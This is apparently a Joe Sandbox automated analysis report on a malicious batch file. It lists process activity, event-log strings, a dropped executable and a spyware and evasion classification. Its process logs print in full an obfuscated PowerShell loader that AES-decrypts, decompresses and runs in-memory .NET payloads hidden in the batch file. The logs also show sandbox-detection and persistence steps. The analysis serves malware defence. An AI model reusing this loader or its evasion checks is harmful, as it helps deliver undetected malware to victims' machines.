Source: C:\Windows\System32\dllhost.exe	Code function: 8_2_0000000140002434	8_2_0000000140002434
Source: C:\Windows\System32\winlogon.exe	Code function: 9_3_00000225DC61CE18	9_3_00000225DC61CE18
Source: C:\Windows\System32\winlogon.exe	Code function: 9_3_00000225DC6123F0	9_3_00000225DC6123F0
Source: C:\Windows\System32\winlogon.exe	Code function: 9_3_00000225DC61CC94	9_3_00000225DC61CC94
Source: C:\Windows\System32\winlogon.exe	Code function: 9_2_00000225DC64DA18	9_2_00000225DC64DA18
Source: C:\Windows\System32\winlogon.exe	Code function: 9_2_00000225DC642FF0	9_2_00000225DC642FF0
Source: C:\Windows\System32\winlogon.exe	Code function: 9_2_00000225DC64D894	9_2_00000225DC64D894
Source: C:\Windows\System32\winlogon.exe	Code function: 9_2_00000225DC67DA18	9_2_00000225DC67DA18
Source: C:\Windows\System32\winlogon.exe	Code function: 9_2_00000225DC672FF0	9_2_00000225DC672FF0
Source: C:\Windows\System32\winlogon.exe	Code function: 9_2_00000225DC67D894	9_2_00000225DC67D894
Source: C:\Windows\System32\winlogon.exe	Code function: 9_2_00000225DC6ADA18	9_2_00000225DC6ADA18
Source: C:\Windows\System32\winlogon.exe	Code function: 9_2_00000225DC6A2FF0	9_2_00000225DC6A2FF0
Source: C:\Windows\System32\winlogon.exe	Code function: 9_2_00000225DC6AD894	9_2_00000225DC6AD894
Source: C:\Windows\System32\lsass.exe	Code function: 10_3_00000202C0ABCE18	10_3_00000202C0ABCE18
Source: C:\Windows\System32\lsass.exe	Code function: 10_3_00000202C0ABCC94	10_3_00000202C0ABCC94
Source: C:\Windows\System32\lsass.exe	Code function: 10_3_00000202C0AB23F0	10_3_00000202C0AB23F0
Source: C:\Windows\System32\lsass.exe	Code function: 10_2_00000202C0AEDA18	10_2_00000202C0AEDA18
Source: C:\Windows\System32\lsass.exe	Code function: 10_2_00000202C0AED894	10_2_00000202C0AED894
Source: C:\Windows\System32\lsass.exe	Code function: 10_2_00000202C0AE2FF0	10_2_00000202C0AE2FF0
Source: C:\Windows\System32\svchost.exe	Code function: 11_3_000002A6612DCE18	11_3_000002A6612DCE18
Source: C:\Windows\System32\svchost.exe	Code function: 11_3_000002A6612D23F0	11_3_000002A6612D23F0
Source: C:\Windows\System32\svchost.exe	Code function: 11_3_000002A6612DCC94	11_3_000002A6612DCC94
Source: C:\Windows\System32\svchost.exe	Code function: 11_2_000002A66130DA18	11_2_000002A66130DA18
Source: C:\Windows\System32\svchost.exe	Code function: 11_2_000002A661302FF0	11_2_000002A661302FF0
Source: C:\Windows\System32\svchost.exe	Code function: 11_2_000002A66130D894	11_2_000002A66130D894
Source: C:\Windows\System32\dwm.exe	Code function: 14_3_000002BAAF19CE18	14_3_000002BAAF19CE18
Source: C:\Windows\System32\dwm.exe	Code function: 14_3_000002BAAF19CC94	14_3_000002BAAF19CC94
Source: C:\Windows\System32\dwm.exe	Code function: 14_3_000002BAAF1923F0	14_3_000002BAAF1923F0
Source: C:\Windows\System32\dwm.exe	Code function: 14_3_000002BAAEDDCE18	14_3_000002BAAEDDCE18
Source: C:\Windows\System32\dwm.exe	Code function: 14_3_000002BAAEDD23F0	14_3_000002BAAEDD23F0
Source: C:\Windows\System32\dwm.exe	Code function: 14_3_000002BAAEDDCC94	14_3_000002BAAEDDCC94
Source: C:\Windows\System32\dwm.exe	Code function: 14_3_000002BAAEE3CE18	14_3_000002BAAEE3CE18
Source: C:\Windows\System32\dwm.exe	Code function: 14_3_000002BAAEE323F0	14_3_000002BAAEE323F0
Source: C:\Windows\System32\dwm.exe	Code function: 14_3_000002BAAEE3CC94	14_3_000002BAAEE3CC94
Source: C:\Windows\System32\dwm.exe	Code function: 14_2_000002BAAED9DA18	14_2_000002BAAED9DA18
Source: C:\Windows\System32\dwm.exe	Code function: 14_2_000002BAAED92FF0	14_2_000002BAAED92FF0
Source: C:\Windows\System32\dwm.exe	Code function: 14_2_000002BAAED9D894	14_2_000002BAAED9D894
Source: C:\Windows\System32\dwm.exe	Code function: 14_2_000002BAAEE0DA18	14_2_000002BAAEE0DA18
Source: C:\Windows\System32\dwm.exe	Code function: 14_2_000002BAAEE02FF0	14_2_000002BAAEE02FF0
Source: C:\Windows\System32\dwm.exe	Code function: 14_2_000002BAAEE0D894	14_2_000002BAAEE0D894
Source: C:\Windows\System32\dwm.exe	Code function: 14_2_000002BAAEE6DA18	14_2_000002BAAEE6DA18
Source: C:\Windows\System32\dwm.exe	Code function: 14_2_000002BAAEE62FF0	14_2_000002BAAEE62FF0
Source: C:\Windows\System32\dwm.exe	Code function: 14_2_000002BAAEE6D894	14_2_000002BAAEE6D894
Source: C:\Windows\System32\cmd.exe	Code function: 15_3_000002512A6B23F0	15_3_000002512A6B23F0
Source: C:\Windows\System32\cmd.exe	Code function: 15_3_000002512A6BCC94	15_3_000002512A6BCC94
Source: C:\Windows\System32\cmd.exe	Code function: 15_3_000002512A6BCE18	15_3_000002512A6BCE18
Source: C:\Windows\System32\cmd.exe	Code function: 15_2_000002512A6E2FF0	15_2_000002512A6E2FF0
Source: C:\Windows\System32\cmd.exe	Code function: 15_2_000002512A6ED894	15_2_000002512A6ED894
Source: C:\Windows\System32\cmd.exe	Code function: 15_2_000002512A6EDA18	15_2_000002512A6EDA18
Source: C:\Windows\System32\conhost.exe	Code function: 16_3_000001BEB0A0CE18	16_3_000001BEB0A0CE18
Source: C:\Windows\System32\conhost.exe	Code function: 16_3_000001BEB0A023F0	16_3_000001BEB0A023F0
Source: C:\Windows\System32\conhost.exe	Code function: 16_3_000001BEB0A0CC94	16_3_000001BEB0A0CC94
Source: C:\Windows\System32\conhost.exe	Code function: 16_2_000001BEB0A3DA18	16_2_000001BEB0A3DA18
Source: C:\Windows\System32\conhost.exe	Code function: 16_2_000001BEB0A32FF0	16_2_000001BEB0A32FF0
Source: C:\Windows\System32\conhost.exe	Code function: 16_2_000001BEB0A3D894	16_2_000001BEB0A3D894
Source: C:\Windows\System32\svchost.exe	Code function: 20_3_0000026A8799CC94	20_3_0000026A8799CC94
Source: C:\Windows\System32\svchost.exe	Code function: 20_3_0000026A879923F0	20_3_0000026A879923F0
Source: C:\Windows\System32\svchost.exe	Code function: 20_3_0000026A8799CE18	20_3_0000026A8799CE18
Source: C:\Windows\System32\svchost.exe	Code function: 20_2_0000026A879CD894	20_2_0000026A879CD894
Source: C:\Windows\System32\svchost.exe	Code function: 20_2_0000026A879C2FF0	20_2_0000026A879C2FF0
Source: C:\Windows\System32\svchost.exe	Code function: 20_2_0000026A879CDA18	20_2_0000026A879CDA18
Source: C:\Windows\System32\svchost.exe	Code function: 21_3_000001795377CE18	21_3_000001795377CE18
Source: C:\Windows\System32\svchost.exe	Code function: 21_3_000001795377CC94	21_3_000001795377CC94
Source: C:\Windows\System32\svchost.exe	Code function: 21_3_00000179537723F0	21_3_00000179537723F0
Source: C:\Windows\System32\svchost.exe	Code function: 21_2_00000179537ADA18	21_2_00000179537ADA18
Source: C:\Windows\System32\svchost.exe	Code function: 21_2_00000179537AD894	21_2_00000179537AD894
Source: C:\Windows\System32\svchost.exe	Code function: 21_2_00000179537A2FF0	21_2_00000179537A2FF0
Source: C:\Windows\System32\svchost.exe	Code function: 21_2_00000179537DDA18	21_2_00000179537DDA18
Source: C:\Windows\System32\svchost.exe	Code function: 21_2_00000179537DD894	21_2_00000179537DD894
Source: C:\Windows\System32\svchost.exe	Code function: 21_2_00000179537D2FF0	21_2_00000179537D2FF0
Source: C:\Windows\System32\svchost.exe	Code function: 22_3_000002295D53CE18	22_3_000002295D53CE18
Source: C:\Windows\System32\svchost.exe	Code function: 22_3_000002295D53CC94	22_3_000002295D53CC94
Source: C:\Windows\System32\svchost.exe	Code function: 22_3_000002295D5323F0	22_3_000002295D5323F0
Source: C:\Windows\System32\svchost.exe	Code function: 22_2_000002295D56DA18	22_2_000002295D56DA18
Source: C:\Windows\System32\svchost.exe	Code function: 22_2_000002295D56D894	22_2_000002295D56D894
Source: C:\Windows\System32\svchost.exe	Code function: 22_2_000002295D562FF0	22_2_000002295D562FF0
Source: C:\Windows\System32\svchost.exe	Code function: 23_3_00000253067DCE18	23_3_00000253067DCE18
Source: C:\Windows\System32\svchost.exe	Code function: 23_3_00000253067D23F0	23_3_00000253067D23F0
Source: C:\Windows\System32\svchost.exe	Code function: 23_3_00000253067DCC94	23_3_00000253067DCC94
Source: C:\Windows\System32\svchost.exe	Code function: 23_2_0000025306E6DA18	23_2_0000025306E6DA18
Source: C:\Windows\System32\svchost.exe	Code function: 23_2_0000025306E62FF0	23_2_0000025306E62FF0
Source: C:\Windows\System32\svchost.exe	Code function: 23_2_0000025306E6D894	23_2_0000025306E6D894
Source: C:\Windows\System32\svchost.exe	Code function: 23_2_0000025306ECDA18	23_2_0000025306ECDA18
Source: C:\Windows\System32\svchost.exe	Code function: 23_2_0000025306EC2FF0	23_2_0000025306EC2FF0
Source: C:\Windows\System32\svchost.exe	Code function: 23_2_0000025306ECD894	23_2_0000025306ECD894
Source: C:\Windows\System32\svchost.exe	Code function: 24_3_000001845B39CC94	24_3_000001845B39CC94
Source: C:\Windows\System32\svchost.exe	Code function: 24_3_000001845B3923F0	24_3_000001845B3923F0
Source: C:\Windows\System32\svchost.exe	Code function: 24_3_000001845B39CE18	24_3_000001845B39CE18
Source: C:\Windows\System32\svchost.exe	Code function: 24_2_000001845B3CD894	24_2_000001845B3CD894
Source: C:\Windows\System32\svchost.exe	Code function: 24_2_000001845B3C2FF0	24_2_000001845B3C2FF0
Source: C:\Windows\System32\svchost.exe	Code function: 24_2_000001845B3CDA18	24_2_000001845B3CDA18
Source: C:\Windows\System32\svchost.exe	Code function: 25_3_000001ADEBFD23F0	25_3_000001ADEBFD23F0
Source: C:\Windows\System32\svchost.exe	Code function: 25_3_000001ADEBFDCE18	25_3_000001ADEBFDCE18
Source: C:\Windows\System32\svchost.exe	Code function: 25_3_000001ADEBFDCC94	25_3_000001ADEBFDCC94
Source: C:\Windows\System32\svchost.exe	Code function: 25_2_000001ADECD4D894	25_2_000001ADECD4D894
Source: C:\Windows\System32\svchost.exe	Code function: 25_2_000001ADECD4DA18	25_2_000001ADECD4DA18
Source: C:\Windows\System32\svchost.exe	Code function: 25_2_000001ADECD42FF0	25_2_000001ADECD42FF0
Source: C:\Windows\System32\svchost.exe	Code function: 26_3_000001D55904CC94	26_3_000001D55904CC94
Source: C:\Windows\System32\svchost.exe	Code function: 26_3_000001D5590423F0	26_3_000001D5590423F0
Source: C:\Windows\System32\svchost.exe	Code function: 26_3_000001D55904CE18	26_3_000001D55904CE18
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_000001D55907D894	26_2_000001D55907D894
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_000001D559072FF0	26_2_000001D559072FF0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_000001D55907DA18	26_2_000001D55907DA18
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_000001D5590AD894	26_2_000001D5590AD894
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_000001D5590A2FF0	26_2_000001D5590A2FF0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_000001D5590ADA18	26_2_000001D5590ADA18
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_000001D5590DD894	26_2_000001D5590DD894
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_000001D5590D2FF0	26_2_000001D5590D2FF0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_000001D5590DDA18	26_2_000001D5590DDA18
Source: C:\Windows\System32\svchost.exe	Code function: 29_3_00000241A9E723F0	29_3_00000241A9E723F0
Source: C:\Windows\System32\svchost.exe	Code function: 29_3_00000241A9E7CE18	29_3_00000241A9E7CE18
Source: C:\Windows\System32\svchost.exe	Code function: 29_3_00000241A9E7CC94	29_3_00000241A9E7CC94
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_00000241A9EA2FF0	29_2_00000241A9EA2FF0
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_00000241A9EADA18	29_2_00000241A9EADA18
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_00000241A9EAD894	29_2_00000241A9EAD894
Source: C:\Windows\System32\svchost.exe	Code function: 30_3_000001CD731623F0	30_3_000001CD731623F0
Source: C:\Windows\System32\svchost.exe	Code function: 30_3_000001CD7316CE18	30_3_000001CD7316CE18
Source: C:\Windows\System32\svchost.exe	Code function: 30_3_000001CD7316CC94	30_3_000001CD7316CC94
Source: C:\Windows\System32\svchost.exe	Code function: 30_2_000001CD73192FF0	30_2_000001CD73192FF0
Source: C:\Windows\System32\svchost.exe	Code function: 30_2_000001CD7319DA18	30_2_000001CD7319DA18
Source: C:\Windows\System32\svchost.exe	Code function: 30_2_000001CD7319D894	30_2_000001CD7319D894

Source: Joe Sandbox View

Dropped File: C:\Windows\$nya-onimai2\IfMUlU.exe 878DF6F755578E2E79D0E6FD350F5B4430E0E42BB4BC8757AFB97999BC405BA4

Source: IfMUlU.exe.28.dr

Static PE information: No import functions for PE file found

Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 2165
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 2173
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 2165	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 2173	Jump to behavior

Source: Process Memory Space: powershell.exe PID: 4544, type: MEMORYSTR

Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: Microsoft-Windows-SMBServer%4Operational.evtx.26.dr	Binary string: user-PC WORKGROUP:\Device\NetBT_Tcpip_{E3B92EAA-F5C7-47F8-A487-F466F42035A1}
Source: Security.evtx.26.dr	Binary string: \Device\HarddiskVolume3\Windows\System32\drivers\filetrace.sys\Ke
Source: Microsoft-Windows-CodeIntegrity%4Operational.evtx.26.dr	Binary string: >\Device\HarddiskVolume3\Windows\System32\drivers\filetrace.sys
Source: Microsoft-Windows-SMBServer%4Operational.evtx.26.dr	Binary string: \Device\NetbiosSmb
Source: Microsoft-Windows-UAC-FileVirtualization%4Operational.evtx.26.dr	Binary string: 9\Device\HarddiskVolume3\Windows\System32\msvcp110_win.dll?\Device\HarddiskVolume3\Program Files (x86)\AutoIt3\AutoIt3.exe
Source: Microsoft-Windows-CodeIntegrity%4Operational.evtx.26.dr	Binary string: J\Device\HarddiskVolume3\Program Files (x86)\Joebox\driver\joeboxdriver.sys
Source: System.evtx.26.dr	Binary string: \\?\Volume{5d0fa9fb-e2e8-4263-a849-b22baad6d1d8}\Device\HarddiskVolume4
Source: Microsoft-Windows-Security-Mitigations%4KernelMode.evtx.26.dr	Binary string: T\Device\HarddiskVolume3\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Source: System.evtx.26.dr	Binary string: \Device\HarddiskVolume3\Program Files (x86)\AutoIt3\AutoIt3.exel
Source: System.evtx.26.dr	Binary string: C:\Device\HarddiskVolume3`
Source: System.evtx.26.dr	Binary string: \Device\HarddiskVolume3\Windows\SysWOW64\tzutil.exe
Source: Microsoft-Windows-UAC-FileVirtualization%4Operational.evtx.26.dr	Binary string: 1\Device\HarddiskVolume3\Windows\SysWOW64\curl.exe?\Device\HarddiskVolume3\Program Files (x86)\AutoIt3\AutoIt3.exe
Source: Microsoft-Windows-UAC-FileVirtualization%4Operational.evtx.26.dr	Binary string: 1\Device\HarddiskVolume3\Windows\System32\curl.exe?\Device\HarddiskVolume3\Program Files (x86)\AutoIt3\AutoIt3.exeH**
Source: Security.evtx.26.dr	Binary string: \Device\HarddiskVolume3\Program Files (x86)\Joebox\driver\joeboxdriver.sys
Source: Microsoft-Windows-Security-Mitigations%4KernelMode.evtx.26.dr	Binary string: A\Device\HarddiskVolume3\Program Files\Mozilla Firefox\firefox.exe
Source: Microsoft-Windows-Security-Mitigations%4KernelMode.evtx.26.dr	Binary string: 4\Device\HarddiskVolume3\Windows\System32\spoolsv.exe
Source: Microsoft-Windows-SmbClient%4Connectivity.evtx.26.dr	Binary string: :\Device\NetBT_Tcpip_{E3B92EAA-F5C7-47F8-A487-F466F42035A1}
Source: Microsoft-Windows-CodeIntegrity%4Operational.evtx.26.dr	Binary string: K\Device\HarddiskVolume3\Users\user\AppData\Local\Temp\JSAMSIProvider64.dll6\Device\HarddiskVolume3\Windows\System32\SIHClient.exe
Source: Microsoft-Windows-SMBServer%4Operational.evtx.26.dr	Binary string: WIN-77KHDDR6TT1 WORKGROUP:\Device\NetBT_Tcpip_{E3B92EAA-F5C7-47F8-A487-F466F42035A1}
Source: Microsoft-Windows-UAC-FileVirtualization%4Operational.evtx.26.dr	Binary string: 1\Device\HarddiskVolume3\Windows\System32\curl.exe?\Device\HarddiskVolume3\Program Files (x86)\AutoIt3\AutoIt3.exe
Source: Microsoft-Windows-UAC-FileVirtualization%4Operational.evtx.26.dr	Binary string: 9\Device\HarddiskVolume3\Windows\SysWOW64\msvcp110_win.dll?\Device\HarddiskVolume3\Program Files (x86)\AutoIt3\AutoIt3.exe
Source: Microsoft-Windows-SMBServer%4Operational.evtx.26.dr	Binary string: DESKTOP-AGET0TR WORKGROUP:\Device\NetBT_Tcpip_{E3B92EAA-F5C7-47F8-A487-F466F42035A1}

Source: classification engine

Classification label: mal100.spyw.evad.winBAT@34/71@1/1

Source: C:\Windows\System32\dllhost.exe

Code function: 8_2_0000000140002D4C GetCurrentProcessId,OpenProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,RegOpenKeyExW,RegQueryValueExW,RegQueryValueExW,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,RegQueryValueExW,RegQueryValueExW,RegCloseKey,GetCurrentProcessId,RegCreateKeyExW,ConvertStringSecurityDescriptorToSecurityDescriptorW,RegSetKeySecurity,LocalFree,RegCreateKeyExW,GetCurrentProcessId,RegSetValueExW,RegCloseKey,RegCloseKey,CreateThread,GetProcessHeap,HeapAlloc,CreateThread,CreateThread,ShellExecuteW,GetProcessHeap,HeapFree,SleepEx,

8_2_0000000140002D4C

Source: C:\Windows\System32\dllhost.exe

Code function: 8_2_000000014000217C SysAllocString,SysAllocString,CoInitializeEx,CoInitializeSecurity,CoCreateInstance,VariantInit,CoUninitialize,SysFreeString,SysFreeString,

8_2_000000014000217C

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3684:120:WilError_03
Source: C:\Windows\$nya-onimai2\IfMUlU.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6756:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6844:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5180:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3412:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\9ce636af-4a7c-44b1-94b1-408678e3e7c4

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_q5zsrksq.1t3.ps1

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\x.bat" "

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wbem\WMIC.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\x.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic diskdrive get Model
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe findstr /i /c:"DADY HARDDISK" /c:"WDS100T2B0A" /c:"QEMU HARDDISK"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c echo function aQLUy($yReKm){ $FiuGL=[System.Security.Cryptography.Aes]::Create(); $FiuGL.Mode=[System.Security.Cryptography.CipherMode]::CBC; $FiuGL.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $FiuGL.Key=[System.Convert]::FromBase64String('Yeb/NAcCgrTp64tTdeVgDdugi9XnGFjFK2NDoLygP24='); $FiuGL.IV=[System.Convert]::FromBase64String('lhLiL9MPOAHIRlkYn9z7VA=='); $exYAh=$FiuGL.CreateDecryptor(); $YgVOo=$exYAh.TransformFinalBlock($yReKm, 0, $yReKm.Length); $exYAh.Dispose(); $FiuGL.Dispose(); $YgVOo;}function mFHoz($yReKm){ Invoke-Expression '$HdeTZ=New-Object System.IO.MemoryStream(,$yReKm);'.Replace('', ''); Invoke-Expression '$wKYjD=New-Object System.IO.MemoryStream;'.Replace('', ''); Invoke-Expression '$odkuT=New-Object System.IO.Compression.GZipStream($HdeTZ, [IO.Compression.CompressionMode]::Decompress);'.Replace('', ''); $odkuT.CopyTo($wKYjD); $odkuT.Dispose(); $HdeTZ.Dispose(); $wKYjD.Dispose(); $wKYjD.ToArray();}function tnqry($yReKm,$VDCUY){ Invoke-Expression '$KyIng=[System.Reflection.Assembly]::Load([byte[]]$yReKm);'.Replace('', ''); Invoke-Expression '$TcvQt=$KyIng.EntryPoint;'.Replace('', ''); Invoke-Expression '$TcvQt.Invoke($null, $VDCUY);'.Replace('', '');}$yFDGP = 'C:\Users\user\Desktop\x.bat';$host.UI.RawUI.WindowTitle = $yFDGP;$blPNL=[System.IO.File]::ReadAllText($yFDGP).Split([Environment]::NewLine);foreach ($nqZfK in $blPNL) { if ($nqZfK.StartsWith('tdfVh')) { $ZaBDo=$nqZfK.Substring(5); break; }}$ouiFf=[string[]]$ZaBDo.Split('\');Invoke-Expression '$pcr = mFHoz (aQLUy ([Convert]::FromBase64String($ouiFf[0].Replace("#", "/").Replace("@", "A"))));'.Replace('', '');Invoke-Expression '$aZk = mFHoz (aQLUy ([Convert]::FromBase64String($ouiFf[1].Replace("#", "/").Replace("@", "A"))));'.Replace('', '');Invoke-Expression '$fEm = mFHoz (aQLUy ([Convert]::FromBase64String($ouiFf[2].Replace("#", "/").Replace("@", "A"))));'.Replace('', '');tnqry $pcr $null;tnqry $aZk $null;tnqry $fEm (,[string[]] (''));
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{6e38c76f-48eb-487e-9cfd-6176ccb652b5}
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C type C:\Users\user\Desktop\x.bat>C:\Windows\$rbx-onimai2\$rbx-CO2.bat
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Windows\$rbx-onimai2\$rbx-CO2.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic diskdrive get Model
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe findstr /i /c:"DADY HARDDISK" /c:"WDS100T2B0A" /c:"QEMU HARDDISK"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c echo function aQLUy($yReKm){ $FiuGL=[System.Security.Cryptography.Aes]::Create(); $FiuGL.Mode=[System.Security.Cryptography.CipherMode]::CBC; $FiuGL.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $FiuGL.Key=[System.Convert]::FromBase64String('Yeb/NAcCgrTp64tTdeVgDdugi9XnGFjFK2NDoLygP24='); $FiuGL.IV=[System.Convert]::FromBase64String('lhLiL9MPOAHIRlkYn9z7VA=='); $exYAh=$FiuGL.CreateDecryptor(); $YgVOo=$exYAh.TransformFinalBlock($yReKm, 0, $yReKm.Length); $exYAh.Dispose(); $FiuGL.Dispose(); $YgVOo;}function mFHoz($yReKm){ Invoke-Expression '$HdeTZ=New-Object System.IO.MemoryStream(,$yReKm);'.Replace('', ''); Invoke-Expression '$wKYjD=New-Object System.IO.MemoryStream;'.Replace('', ''); Invoke-Expression '$odkuT=New-Object System.IO.Compression.GZipStream($HdeTZ, [IO.Compression.CompressionMode]::Decompress);'.Replace('', ''); $odkuT.CopyTo($wKYjD); $odkuT.Dispose(); $HdeTZ.Dispose(); $wKYjD.Dispose(); $wKYjD.ToArray();}function tnqry($yReKm,$VDCUY){ Invoke-Expression '$KyIng=[System.Reflection.Assembly]::Load([byte[]]$yReKm);'.Replace('', ''); Invoke-Expression '$TcvQt=$KyIng.EntryPoint;'.Replace('', ''); Invoke-Expression '$TcvQt.Invoke($null, $VDCUY);'.Replace('', '');}$yFDGP = 'C:\Windows\$rbx-onimai2\$rbx-CO2.bat';$host.UI.RawUI.WindowTitle = $yFDGP;$blPNL=[System.IO.File]::ReadAllText($yFDGP).Split([Environment]::NewLine);foreach ($nqZfK in $blPNL) { if ($nqZfK.StartsWith('tdfVh')) { $ZaBDo=$nqZfK.Substring(5); break; }}$ouiFf=[string[]]$ZaBDo.Split('\');Invoke-Expression '$pcr = mFHoz (aQLUy ([Convert]::FromBase64String($ouiFf[0].Replace("#", "/").Replace("@", "A"))));'.Replace('', '');Invoke-Expression '$aZk = mFHoz (aQLUy ([Convert]::FromBase64String($ouiFf[1].Replace("#", "/").Replace("@", "A"))));'.Replace('', '');Invoke-Expression '$fEm = mFHoz (aQLUy ([Convert]::FromBase64String($ouiFf[2].Replace("#", "/").Replace("@", "A"))));'.Replace('', '');tnqry $pcr $null;tnqry $aZk $null;tnqry $fEm (,[string[]] (''));
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden
Source: C:\Windows\System32\winlogon.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{5004adc4-d516-4ec2-8626-9598e9dad3bc}
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /Delete /TN "$rbx-CNT1" /F
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\$nya-onimai2\IfMUlU.exe "C:\Windows\$nya-onimai2\IfMUlU.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic diskdrive get Model	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe findstr /i /c:"DADY HARDDISK" /c:"WDS100T2B0A" /c:"QEMU HARDDISK"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c echo function aQLUy($yReKm){ $FiuGL=[System.Security.Cryptography.Aes]::Create(); $FiuGL.Mode=[System.Security.Cryptography.CipherMode]::CBC; $FiuGL.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $FiuGL.Key=[System.Convert]::FromBase64String('Yeb/NAcCgrTp64tTdeVgDdugi9XnGFjFK2NDoLygP24='); $FiuGL.IV=[System.Convert]::FromBase64String('lhLiL9MPOAHIRlkYn9z7VA=='); $exYAh=$FiuGL.CreateDecryptor(); $YgVOo=$exYAh.TransformFinalBlock($yReKm, 0, $yReKm.Length); $exYAh.Dispose(); $FiuGL.Dispose(); $YgVOo;}function mFHoz($yReKm){ Invoke-Expression '$HdeTZ=New-Object System.IO.MemoryStream(,$yReKm);'.Replace('', ''); Invoke-Expression '$wKYjD=New-Object System.IO.MemoryStream;'.Replace('', ''); Invoke-Expression '$odkuT=New-Object System.IO.Compression.GZipStream($HdeTZ, [IO.Compression.CompressionMode]::Decompress);'.Replace('', ''); $odkuT.CopyTo($wKYjD); $odkuT.Dispose(); $HdeTZ.Dispose(); $wKYjD.Dispose(); $wKYjD.ToArray();}function tnqry($yReKm,$VDCUY){ Invoke-Expression '$KyIng=[System.Reflection.Assembly]::Load([byte[]]$yReKm);'.Replace('', ''); Invoke-Expression '$TcvQt=$KyIng.EntryPoint;'.Replace('', ''); Invoke-Expression '$TcvQt.Invoke($null, $VDCUY);'.Replace('', '');}$yFDGP = 